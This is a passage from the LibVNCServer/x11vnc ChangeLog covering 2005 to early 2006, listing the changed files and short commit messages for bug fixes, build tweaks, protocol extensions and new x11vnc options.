5836 x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
5837 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
5838 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5839 x11vnc/xrecord.c: x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug,
5840 fix 64bit bug for -solid.
5841
58422006-01-10 dscho <dscho>
5843
5844 * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c:
5845 rfbProcessEvents() has to iterate also over clients with sock < 0 to
5846 close them
5847
58482006-01-09 runge <runge>
5849
5850 * ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog,
5851 x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h,
5852 x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h,
5853 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
5854 x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
5855 x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
5856 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c,
5857 x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c,
5858 x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
5859 x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
5860 x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
5861 x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
5862 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h,
5863 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
5864 x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h,
5865 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5866 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5867 x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h,
5868 x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c,
5869 x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h,
5870 x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c,
5871 x11vnc/xwrappers.h: x11vnc: the big split.
5872
58732006-01-08 runge <runge>
5874
5875 * ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c,
5876 libvncserver/main.c: fix client non-jpeg/libz builds
5877
58782006-01-06 runge <runge>
5879
5880 * ChangeLog, libvncserver/main.c: rfbRegisterProtocolExtension extMutex was never initialized.
5881
58822005-12-24 runge <runge>
5883
5884 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
5885 x11vnc/x11vnc.c: x11vnc: enhance -passwdfile features, filetransfer on by default.
5886
58872005-12-22 dscho <dscho>
5888
5889 * libvncserver/rfbserver.c: make compile again with pthreads; fix
5890 off-by-one error
5891
58922005-12-19 dscho <dscho>
5893
5894 * AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
5895 libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate
5896 (thanks Dave)
5897
58982005-12-19 dscho <dscho>
5899
5900 * client_examples/SDLvncviewer.c, libvncclient/sockets.c,
5901 libvncclient/vncviewer.c, libvncserver/main.c,
5902 libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for
5903 MinGW32
5904
59052005-12-09 dscho <dscho>
5906
5907 * ChangeLog, configure.ac, libvncclient/sockets.c,
5908 libvncserver/sockets.c: work around write() returning ENOENT on
5909 Solaris 2.7
5910
59112005-12-09 dscho <dscho>
5912
5913 * examples/mac.c: previous patch turned compile warning in a compile
5914 error; fix that ;-)
5915
59162005-12-08 dscho <dscho>
5917
5918 * examples/mac.c: fix compile warnings
5919
59202005-12-07 dscho <dscho>
5921
5922 * libvncclient/vncviewer.c: one more memory leak
5923
59242005-12-07 dscho <dscho>
5925
5926 * ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory
5927 leaks
5928
59292005-12-07 dscho <dscho>
5930
5931 * client_examples/SDLvncviewer.c: translate keys based on unicode
5932 (much more reliable than sym)
5933
59342005-11-28 runge <runge>
5935
5936 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
5937 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: add -loop option.
5938
59392005-11-25 runge <runge>
5940
5941 * ChangeLog, configure.ac, libvncclient/rfbproto.c,
5942 libvncclient/tight.c, libvncclient/vncviewer.c,
5943 libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c,
5944 libvncserver/private.h, libvncserver/rfbserver.c,
5945 libvncserver/tightvnc-filetransfer/filelistinfo.h,
5946 libvncserver/tightvnc-filetransfer/filetransfermsg.c,
5947 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
5948 libvncserver/tightvnc-filetransfer/rfbtightserver.c,
5949 rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog,
5950 x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c: fix deadlock from rfbReleaseExtensionIterator(), fix no
5951 libz/libjpeg builds, disable tightvnc-filetransfer if no
5952 libpthread, add --without-pthread option, rm // comments, set
5953 NAME_MAX if not defined, x11vnc: throttle load if fb update
5954 requests not taking place.
5955
59562005-10-23 runge <runge>
5957
5958 * configure.ac, x11vnc/README: configure.ac: test ... == ... not allowed on all unix.
5959
59602005-10-23 runge <runge>
5961
5962 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
5963 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -filexfer, -slow_fb, -blackout noptr,...
5964
59652005-10-07 dscho <dscho>
5966
5967 * TODO: update TODO
5968
59692005-10-07 dscho <dscho>
5970
5971 * examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The
5972 PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension
5973 handled it, LibVNCServer would walk through all extensions, and if
5974 they promised to handle the encoding, execute the extension's
5975 newClient() if it was not NULL. However, if newClient is not NULL, it will be called when a client
5976 connects, and if it returns TRUE, the extension will be enabled.
5977 Since all the state of the extension should be in the client data,
5978 there is no good reason why newClient should return FALSE the first
5979 time (thus not enabling the extension), but TRUE when called just
5980 before calling enablePseudoEncoding(). So in effect, the extension got enabled all the time, even if that
5981 was not necessary. The resolution is to pass a void** to enablePseudoEncoding. This has
5982 the further advantage that enablePseudoEncoding can remalloc() or
5983 free() the data without problems. Though keep in mind that if
5984 enablePseudoEncoding() is called on a not-yet-enabled extension, the
5985 passed data points to NULL.
5986
59872005-10-06 dscho <dscho>
5988
5989 * ChangeLog: update ChangeLog for today
5990
59912005-10-06 dscho <dscho>
5992
5993 * client_examples/Makefile.am, client_examples/SDLvncviewer.c,
5994 client_examples/backchannel.c, libvncclient/rfbproto.c,
5995 rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify
5996 the client data handling so that more than one data structure can be
5997 attached, and add an example to speak the client part of the back
5998 channel.
5999
60002005-10-06 dscho <dscho>
6001
6002 * examples/Makefile.am, examples/backchannel.c: add BackChannel
6003 extension example
6004
60052005-10-06 dscho <dscho>
6006
6007 * libvncclient/zrle.c: fix warning
6008
60092005-10-06 dscho <dscho>
6010
6011 * configure.ac, examples/mac.c, libvncserver/main.c,
6012 libvncserver/rfbserver.c, libvncserver/stats.c,
6013 libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h,
6014 rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new
6015 extension technique makes these hooks obsolete
6016
60172005-10-06 dscho <dscho>
6018
6019 * libvncserver/rfbserver.c,
6020 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h:
6021 provide a list of the pseudo encodings understood by the extension
6022
60232005-10-06 dscho <dscho>
6024
6025 * contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS
6026
60272005-10-06 dscho <dscho>
6028
6029 * client_examples/Makefile.am, examples/Makefile.am,
6030 libvncclient/Makefile.am,
6031 libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do
6032 it right: it is not DEFINES, but AM_CFLAGS
6033
60342005-10-03 dscho <dscho>
6035
6036 * ChangeLog, libvncserver/rfbserver.c,
6037 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add
6038 enablePseudoEncoding() to rfbProtocolExtension
6039
60402005-09-29 dscho <dscho>
6041
6042 * TODO, index.html: more TODOs, and an update to the website
6043
60442005-09-28 dscho <dscho>
6045
6046 * AUTHORS, ChangeLog, configure.ac, examples/.cvsignore,
6047 examples/Makefile.am, examples/filetransfer.c,
6048 libvncclient/.cvsignore, libvncserver/.cvsignore,
6049 libvncserver/Makefile.am, libvncserver/auth.c,
6050 libvncserver/cargs.c, libvncserver/main.c,
6051 libvncserver/rfbserver.c, libvncserver/sockets.c,
6052 libvncserver/tightvnc-filetransfer/.cvsignore,
6053 libvncserver/tightvnc-filetransfer/Makefile.am,
6054 libvncserver/tightvnc-filetransfer/filelistinfo.c,
6055 libvncserver/tightvnc-filetransfer/filelistinfo.h,
6056 libvncserver/tightvnc-filetransfer/filetransfermsg.c,
6057 libvncserver/tightvnc-filetransfer/filetransfermsg.h,
6058 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
6059 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h,
6060 libvncserver/tightvnc-filetransfer/rfbtightproto.h,
6061 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This
6062 monster commit contains support for TightVNC's file transfer
6063 protocol. Thank you very much, Rohit!
6064
60652005-09-27 dscho <dscho>
6066
6067 * ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
6068 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h:
6069 Introduce generic protocol extension method. Deprecate the
6070 processCustomClientMessage() method.
6071
60722005-09-27 dscho <dscho>
6073
6074 * libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is
6075 global. This was a misguided attempt to evade a global list. I
6076 eventually saw the light and went with Rohit´s original approach.
6077
60782005-09-27 dscho <dscho>
6079
6080 * client_examples/Makefile.am, client_examples/vnc2mpg.c: support
6081 new ffmpeg version
6082
60832005-09-26 dscho <dscho>
6084
6085 * ChangeLog, libvncserver/auth.c, libvncserver/main.c,
6086 libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC
6087 protocol version 3.7
6088
60892005-08-22 dscho <dscho>
6090
6091 * prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions
6092 were needed after changing LibVNCServer.spec.in
6093
60942005-08-21 dscho <dscho>
6095
6096 * AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three
6097 packages: the library, -devel (headers), and x11vnc
6098
60992005-07-18 runge <runge>
6100
6101 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6102 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more gui fixes, gui requests via client_sock,
6103 PASSWD_REQUIRED build opt.
6104
61052005-07-13 runge <runge>
6106
6107 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
6108 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: setup for new release 0.7.3 while I remember how..
6109
61102005-07-13 runge <runge>
6111
6112 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6113 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: tweaks for release, fix queue buildup under -viewonly.
6114
61152005-07-11 runge <runge>
6116
6117 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6118 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to gui, scary nopassword warning msg.
6119
61202005-07-09 runge <runge>
6121
6122 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6123 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and
6124 copyrect for -clip and -id
6125
61262005-07-07 runge <runge>
6127
6128 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6129 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -gui tray now embeds in systray; more improvements to gui.
6130
61312005-07-02 runge <runge>
6132
6133 * ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README,
6134 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6135 x11vnc/x11vnc.c: x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0.
6136
61372005-06-28 dscho <dscho>
6138
6139 * ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding
6140 bug
6141
61422005-06-27 runge <runge>
6143
6144 * ChangeLog, libvncserver/main.c: main.c: fix screen->deferUpdateTime default.
6145
61462005-06-27 runge <runge>
6147
6148 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6149 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt,
6150 add -nodbg as option
6151
61522005-06-21 dscho <dscho>
6153
6154 * TODO: ZRLE has problems with RealVNC server. Look into it.
6155
61562005-06-21 runge <runge>
6157
6158 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad
6159 desktop" for wireframe
6160
61612005-06-18 runge <runge>
6162
6163 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6164 x11vnc/x11vnc.1, x11vnc/x11vnc.c: configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of
6165 beta-testing fixes.
6166
61672005-06-14 runge <runge>
6168
6169 * ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog,
6170 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6171 x11vnc/x11vnc.c: main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first
6172 round of beta-testing fixes, RFE's.
6173
61742005-06-11 dscho <dscho>
6175
6176 * ChangeLog, configure.ac: no longer complain on Solaris about
6177 missing ar, which was not really missing
6178
61792005-06-06 dscho <dscho>
6180
6181 * rfb/rfbproto.h: add definitions from other VNC implementations
6182
61832005-06-06 dscho <dscho>
6184
6185 * TODO: more TODOs
6186
61872005-06-06 dscho <dscho>
6188
6189 * client_examples/Makefile.am, configure.ac: link to libmp3lame only
6190 if exists
6191
61922005-06-04 runge <runge>
6193
6194 * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README,
6195 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6196 x11vnc/x11vnc.c: main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale;
6197 add -fixscreen
6198
61992005-05-31 runge <runge>
6200
6201 * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README,
6202 x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: fix copyRect for non-cursor-shape-aware clients.
6203
62042005-05-25 dscho <dscho>
6205
6206 * index.html: news
6207
62082005-05-25 runge <runge>
6209
6210 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
6211 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6212 x11vnc/x11vnc.c: x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel,
6213 fix onetile
6214
62152005-05-24 dscho <dscho>
6216
6217 * examples/.cvsignore: mac works!
6218
62192005-05-24 dscho <dscho>
6220
6221 * Makefile.am, configure.ac: make libvncserver-conf executable the
6222 autoconf way
6223
62242005-05-24 dscho <dscho>
6225
6226 * Makefile.am: "make t" now executes the tests
6227
62282005-05-24 dscho <dscho>
6229
6230 * libvncclient/Makefile.am: do distribute and depend on zrle.c
6231
62322005-05-24 dscho <dscho>
6233
6234 * TODO, libvncclient/rfbproto.c, libvncclient/tight.c,
6235 libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c,
6236 test/encodingstest.c: implement ZRLE decoding
6237
62382005-05-24 dscho <dscho>
6239
6240 * client_examples/SDLvncviewer.c: try 32 bit first
6241
62422005-05-24 dscho <dscho>
6243
6244 * examples/example.c, libvncserver/font.c: fix off by one bug
6245
62462005-05-23 dscho <dscho>
6247
6248 * libvncclient/tight.c, libvncclient/vncviewer.c: init a structure
6249 *before* using it...
6250
62512005-05-23 dscho <dscho>
6252
6253 * libvncclient/tight.c: remove wrong comment
6254
62552005-05-23 dscho <dscho>
6256
6257 * libvncclient/rfbproto.c, libvncclient/tight.c,
6258 libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make
6259 zlib and tight handling thread safe (static -> rfbClient)
6260
62612005-05-23 dscho <dscho>
6262
6263 * client_examples/vnc2mpg.c: work around bug in ffmpeg
6264
62652005-05-23 dscho <dscho>
6266
6267 * ChangeLog, configure.ac: simplify configure (do not check for
6268 malloc(0) bug)
6269
62702005-05-23 dscho <dscho>
6271
6272 * client_examples/vnc2mpg.c: fix compilation for
6273 LIBAVCODEC_BUILD==4754
6274
62752005-05-20 dscho <dscho>
6276
6277 * acinclude.m4: finally fix socklen_t problem
6278
62792005-05-18 dscho <dscho>
6280
6281 * acinclude.m4: fix socklen_t also for defines
6282
62832005-05-18 dscho <dscho>
6284
6285 * ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems
6286 without socklen_t
6287
62882005-05-18 dscho <dscho>
6289
6290 * libvncserver/main.c: fix off by one bug
6291
62922005-05-18 dscho <dscho>
6293
6294 * examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c,
6295 libvncclient/sockets.c, libvncclient/vncviewer.c,
6296 libvncserver/main.c, libvncserver/rfbserver.c,
6297 libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c,
6298 test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if
6299 not explicitely turned on; actually use the socklen_t test from
6300 configure.ac
6301
63022005-05-18 runge <runge>
6303
6304 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6305 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog
6306
63072005-05-17 dscho <dscho>
6308
6309 * libvncserver/Makefile.am: also distribute private.h...
6310
63112005-05-17 dscho <dscho>
6312
6313 * TODO: update TODOs
6314
63152005-05-16 dscho <dscho>
6316
6317 * libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible
6318 protocol; release mutex before freeing it
6319
63202005-05-15 dscho <dscho>
6321
6322 * ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
6323 VisualNaCro/nacro.c, client_examples/SDLvncviewer.c,
6324 client_examples/ppmtest.c, contrib/zippy.c, examples/example.c,
6325 examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c,
6326 examples/radon.h, examples/storepasswd.c, examples/vncev.c,
6327 libvncclient/listen.c, libvncclient/rfbproto.c,
6328 libvncclient/sockets.c, libvncclient/vncviewer.c,
6329 libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c,
6330 libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c,
6331 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
6332 libvncserver/private.h, libvncserver/rfbregion.c,
6333 libvncserver/rfbserver.c, libvncserver/rre.c,
6334 libvncserver/selbox.c, libvncserver/sockets.c,
6335 libvncserver/tight.c, libvncserver/translate.c,
6336 libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c,
6337 libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c,
6338 rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c,
6339 test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c,
6340 vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse
6341
63422005-05-15 runge <runge>
6343
6344 * libvncserver/main.c, libvncserver/rfbserver.c: libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect
6345 memory leaks
6346
63472005-05-14 dscho <dscho>
6348
6349 * .cvsignore, examples/.cvsignore, test/.cvsignore,
6350 x11vnc/misc/.cvsignore: more files to ignore
6351
63522005-05-14 dscho <dscho>
6353
6354 * ChangeLog, examples/example.c, libvncserver/main.c,
6355 libvncserver/rfbserver.c: fix memory leaks detected using valgrind
6356
63572005-05-14 runge <runge>
6358
6359 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6360 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to -scrollcopyrect and -xkb modes.
6361
63622005-05-07 dscho <dscho>
6363
6364 * ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h,
6365 examples/example.c, examples/fontsel.c, libvncserver/httpd.c,
6366 libvncserver/main.c, libvncserver/rfbserver.c,
6367 libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c,
6368 vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c:
6369 socketInitDone -> socketState
6370
63712005-05-03 runge <runge>
6372
6373 * ChangeLog, configure.ac, libvncserver/main.c: libvncserver/main.c: fix memory leak in
6374 rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks.
6375
63762005-05-03 runge <runge>
6377
6378 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6379 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6380 x11vnc/x11vnc.c: x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations
6381 for x11vnc pkg
6382
63832005-04-27 dscho <dscho>
6384
6385 * ChangeLog, libvncserver/rfbserver.c: clear requested region after
6386 handling it
6387
63882005-04-19 runge <runge>
6389
6390 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README,
6391 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6392 x11vnc/x11vnc.c: x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd,
6393 -unsafe, -noviewonly
6394
63952005-04-12 runge <runge>
6396
6397 * x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl: x11vnc: add rawfb setup example misc/ranfb.pl
6398
63992005-04-11 runge <runge>
6400
6401 * x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl,
6402 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6403 x11vnc/x11vnc.c: x11vnc: fix some -rawfb bugs, add setup:cmd
6404
64052005-04-10 runge <runge>
6406
6407 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh,
6408 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
6409 x11vnc/misc/Makefile.am, x11vnc/misc/README,
6410 x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup,
6411 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
6412 x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl,
6413 x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
6414 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ...
6415
64162005-04-04 runge <runge>
6417
6418 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6419 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6420 x11vnc/x11vnc.c: x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http
6421
64222005-03-29 runge <runge>
6423
6424 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6425 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: fix event leaks, build-time customizations, -nolookup
6426
64272005-03-20 runge <runge>
6428
6429 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6430 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat
6431 N
6432
64332005-03-12 runge <runge>
6434
6435 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6436 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: X DAMAGE support, -clip WxH+X+Y, identd.
6437
64382005-03-09 dscho <dscho>
6439
6440 * test/encodingstest.c: fix compilation when no libz is available
6441
64422005-03-07 dscho <dscho>
6443
6444 * configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly...
6445
64462005-03-07 dscho <dscho>
6447
6448 * configure.ac: check for in_addr_t
6449
64502005-03-06 dscho <dscho>
6451
6452 * client_examples/SDLvncviewer.c: fix for older SDL versions
6453
64542005-03-05 runge <runge>
6455
6456 * ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am: autoconf: rpm -> rpmbuild and echo -n -> printf
6457
64582005-03-05 runge <runge>
6459
6460 * ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c,
6461 libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c,
6462 rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6463 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: add '-listen ipaddr' option
6464
64652005-03-01 dscho <dscho>
6466
6467 * client_examples/ppmtest.c: do not crash when /tmp is not writable
6468
64692005-02-23 runge <runge>
6470
6471 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: final changes for 0.7.1 release.
6472
64732005-02-22 runge <runge>
6474
6475 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6476 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -nap is now the default, version str 0.7.1.
6477
64782005-02-14 runge <runge>
6479
6480 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6481 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode.
6482
64832005-02-11 runge <runge>
6484
6485 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6486 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -input to fine tune allow user input. per-client settings
6487 -R
6488
64892005-02-09 runge <runge>
6490
6491 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6492 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6493 x11vnc/x11vnc.c: x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h
6494 and utmpx.h
6495
64962005-02-07 runge <runge>
6497
6498 * ChangeLog, prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: few tweaks for next release
6499
65002005-02-07 runge <runge>
6501
6502 * ChangeLog, configure.ac: configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw
6503
65042005-02-05 runge <runge>
6505
6506 * ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch,
6507 x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6508 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -solid color, -opts; tightvnc unix viewer alpha patch
6509
65102005-01-25 dscho <dscho>
6511
6512 * TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding
6513 set from outside
6514
65152005-01-24 runge <runge>
6516
6517 * x11vnc/x11vnc.c: whoops, test version of x11vnc.c leaked out...
6518
65192005-01-24 runge <runge>
6520
6521 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6522 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: sync with new cursor mechanism, -timeout, -noalphablend, try :0 if
6523 no other info
6524
65252005-01-23 dscho <dscho>
6526
6527 * test/cursortest.c: test Floyd-Steinberg dither for alpha masks
6528
65292005-01-21 dscho <dscho>
6530
6531 * TODO, libvncserver/cursor.c, rfb/rfb.h: implemented
6532 Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource
6533
65342005-01-21 dscho <dscho>
6535
6536 * VisualNaCro/recorder.pl: use Getopt
6537
65382005-01-21 dscho <dscho>
6539
6540 * libvncclient/vncviewer.c: if no argc & argv are passed, honour the
6541 serverHost&serverPort which was set by the application
6542
65432005-01-20 dscho <dscho>
6544
6545 * test/cursortest.c: no need to strdup for MakeXCursor
6546
65472005-01-20 dscho <dscho>
6548
6549 * ChangeLog, libvncserver/cursor.c: disappearing cursor fixed &
